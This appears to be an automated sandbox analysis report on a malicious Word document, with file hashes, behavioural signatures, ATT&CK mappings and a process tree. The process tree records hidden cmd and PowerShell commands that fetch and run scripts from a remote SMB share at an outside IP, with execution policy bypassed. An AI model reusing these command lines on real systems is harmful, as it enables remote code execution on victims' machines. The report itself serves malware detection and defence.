4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 16:12

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General

Target

4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02.doc
Size

558KB
MD5

3afb331dcc492210d0030a911211d690
SHA1

51606c7b96c32d20ef4f6c7cc751120b2b40a09c
SHA256

4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02
SHA512

c27089aa73b500acdd6d8f3df4dc3dab228da91cca7ee68a0acdc4625e07cc5db7e602d63ba16c0818c176d40076b042a28ca37e2ef70dd2858a60b803d9e590
SSDEEP

12288:1+nE2k3y/xtOFWykjXzcUMP4xmFhNllV3hEA1/ri:UE2k3kqWy02PdFhhVxv2

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3672	1100	cmd.exe	81
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1068	1100	cmd.exe	81
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4092	1100	cmd.exe	81

Blocklisted process makes network request 2 IoCs

flow	pid	Process
22	3364	powershell.exe
25	3364	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3332	powershell.exe
3364	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ipinfo.io
22	ipinfo.io

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Kills process with taskkill 1 IoCs

evasion

pid	Process
392	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	powershell.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\sig53AE.tmp\:Zone.Identifier:$DATA	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1100	WINWORD.EXE
1100	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3364	powershell.exe
3364	powershell.exe
3332	powershell.exe
3332	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeIncreaseQuotaPrivilege	3364	powershell.exe
Token: SeSecurityPrivilege	3364	powershell.exe
Token: SeTakeOwnershipPrivilege	3364	powershell.exe
Token: SeLoadDriverPrivilege	3364	powershell.exe
Token: SeSystemProfilePrivilege	3364	powershell.exe
Token: SeSystemtimePrivilege	3364	powershell.exe
Token: SeProfSingleProcessPrivilege	3364	powershell.exe
Token: SeIncBasePriorityPrivilege	3364	powershell.exe
Token: SeCreatePagefilePrivilege	3364	powershell.exe
Token: SeBackupPrivilege	3364	powershell.exe
Token: SeRestorePrivilege	3364	powershell.exe
Token: SeShutdownPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeSystemEnvironmentPrivilege	3364	powershell.exe
Token: SeRemoteShutdownPrivilege	3364	powershell.exe
Token: SeUndockPrivilege	3364	powershell.exe
Token: SeManageVolumePrivilege	3364	powershell.exe
Token: 33	3364	powershell.exe
Token: 34	3364	powershell.exe
Token: 35	3364	powershell.exe
Token: 36	3364	powershell.exe
Token: SeIncreaseQuotaPrivilege	3364	powershell.exe
Token: SeSecurityPrivilege	3364	powershell.exe
Token: SeTakeOwnershipPrivilege	3364	powershell.exe
Token: SeLoadDriverPrivilege	3364	powershell.exe
Token: SeSystemProfilePrivilege	3364	powershell.exe
Token: SeSystemtimePrivilege	3364	powershell.exe
Token: SeProfSingleProcessPrivilege	3364	powershell.exe
Token: SeIncBasePriorityPrivilege	3364	powershell.exe
Token: SeCreatePagefilePrivilege	3364	powershell.exe
Token: SeBackupPrivilege	3364	powershell.exe
Token: SeRestorePrivilege	3364	powershell.exe
Token: SeShutdownPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeSystemEnvironmentPrivilege	3364	powershell.exe
Token: SeRemoteShutdownPrivilege	3364	powershell.exe
Token: SeUndockPrivilege	3364	powershell.exe
Token: SeManageVolumePrivilege	3364	powershell.exe
Token: 33	3364	powershell.exe
Token: 34	3364	powershell.exe
Token: 35	3364	powershell.exe
Token: 36	3364	powershell.exe
Token: SeIncreaseQuotaPrivilege	3364	powershell.exe
Token: SeSecurityPrivilege	3364	powershell.exe
Token: SeTakeOwnershipPrivilege	3364	powershell.exe
Token: SeLoadDriverPrivilege	3364	powershell.exe
Token: SeSystemProfilePrivilege	3364	powershell.exe
Token: SeSystemtimePrivilege	3364	powershell.exe
Token: SeProfSingleProcessPrivilege	3364	powershell.exe
Token: SeIncBasePriorityPrivilege	3364	powershell.exe
Token: SeCreatePagefilePrivilege	3364	powershell.exe
Token: SeBackupPrivilege	3364	powershell.exe
Token: SeRestorePrivilege	3364	powershell.exe
Token: SeShutdownPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeSystemEnvironmentPrivilege	3364	powershell.exe
Token: SeRemoteShutdownPrivilege	3364	powershell.exe
Token: SeUndockPrivilege	3364	powershell.exe
Token: SeManageVolumePrivilege	3364	powershell.exe
Token: 33	3364	powershell.exe
Token: 34	3364	powershell.exe
Token: 35	3364	powershell.exe
Token: 36	3364	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
1100	WINWORD.EXE
3740	mmc.exe
3740	mmc.exe
3740	mmc.exe
3740	mmc.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 3672	1100	WINWORD.EXE	87
PID 1100 wrote to memory of 3672	1100	WINWORD.EXE	87
PID 1100 wrote to memory of 1068	1100	WINWORD.EXE	90
PID 1100 wrote to memory of 1068	1100	WINWORD.EXE	90
PID 1068 wrote to memory of 3364	1068	cmd.exe	92
PID 1068 wrote to memory of 3364	1068	cmd.exe	92
PID 1100 wrote to memory of 4092	1100	WINWORD.EXE	94
PID 1100 wrote to memory of 4092	1100	WINWORD.EXE	94
PID 3364 wrote to memory of 3740	3364	powershell.exe	96
PID 3364 wrote to memory of 3740	3364	powershell.exe	96
PID 3740 wrote to memory of 3332	3740	mmc.exe	97
PID 3740 wrote to memory of 3332	3740	mmc.exe	97
PID 3332 wrote to memory of 392	3332	powershell.exe	99
PID 3332 wrote to memory of 392	3332	powershell.exe	99

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo off
  2⤵
  - Process spawned unexpected child process
  PID:3672
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "\\185.213.208.245\bypass\runOnce.bat"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -nop -win hidden -ExecutionPolicy Bypass -File "\\185.213.208.245\bypass\u.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Windows\system32\mmc.exe
      "C:\Windows\system32\mmc.exe" "C:\Windows \System32\WmiMgmt.msc"
      4⤵
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command & {taskkill /f /im mmc.exe}
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3332
      - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /im mmc.exe
        6⤵
        Kills process with taskkill
        
        PID:392
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c exit
  2⤵
  - Process spawned unexpected child process
  PID:4092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6f2cf7c69124863d0c2195883d82c2a3

SHA1
dbc36c1a3218fe41182c388143c492bf625b571a

SHA256
440976438d8e3215810166bf3feb60bd66dbb6130775dd66a729649860266184

SHA512
fe944984de1d1f76e770df5159874d5baff4d7761b6d4d5b7044b202bf250eff35e223a4be6aa99e70c2fe1a33bb04eaf9750b730ece488c8c7a2f5eae7c829b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8EDE.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bp5g1wju.ibc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows \System32\WmiMgmt.msc

Filesize
141KB

MD5
e0addce97ee521c9ac4f53ee17a05bd5

SHA1
2f8dd03b0433fa5d511ab80546a95037a1eb178d

SHA256
e18a549b10943645361372ebb7871fd23a0608a84ae0405ff1be946ab8bdc1ee

SHA512
d396b8b2d86d7331cac2e183b869224905a3ff7cf33300cd60dd8e5e55bf31d6170322624ee3ae18ff41d647c1e65177252654a64ff5fe5c74778f17e6ecfcd4

Download Submit
C:\Windows \System32\en-US\WmiMgmt.msc

Filesize
65KB

MD5
e998e342fc2babe41c04488dd84ffb9e

SHA1
60d471b701afd7331444ac85e5604ce530bc349a

SHA256
a1f98d32780615abfbfd79cc98f67044a803d93a3598d9c2948f6ea1b82aa79f

SHA512
c26fbc399355e01d4f43fe2f605e5e8885ab71e965f81fdb66cf2b760729af8d0257b1016950209ccfdc8d1b56bee505c07dbe184aee1b02d5fa8290cc27201c

Download Submit
memory/1100-13-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-571-0x00007FFC3794D000-0x00007FFC3794E000-memory.dmp

Filesize
4KB

Download
memory/1100-7-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-9-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-0-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-12-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-11-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-15-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/1100-14-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-10-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-16-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/1100-17-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-35-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-38-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-39-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-5-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-602-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-600-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-601-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-6-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-4-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-3-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-2-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-93-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-1-0x00007FFC3794D000-0x00007FFC3794E000-memory.dmp

Filesize
4KB

Download
memory/1100-8-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-572-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-573-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-574-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-575-0x00007FFC378B0000-0x00007FFC37AA5000-memory.dmp

Filesize
2.0MB

Download
memory/1100-599-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/1100-598-0x00007FFBF7930000-0x00007FFBF7940000-memory.dmp

Filesize
64KB

Download
memory/3364-64-0x0000019C9FD50000-0x0000019CA0278000-memory.dmp

Filesize
5.2MB

Download
memory/3364-63-0x0000019C9F650000-0x0000019C9F812000-memory.dmp

Filesize
1.8MB

Download
memory/3364-62-0x0000019C86D50000-0x0000019C86D72000-memory.dmp

Filesize
136KB

Download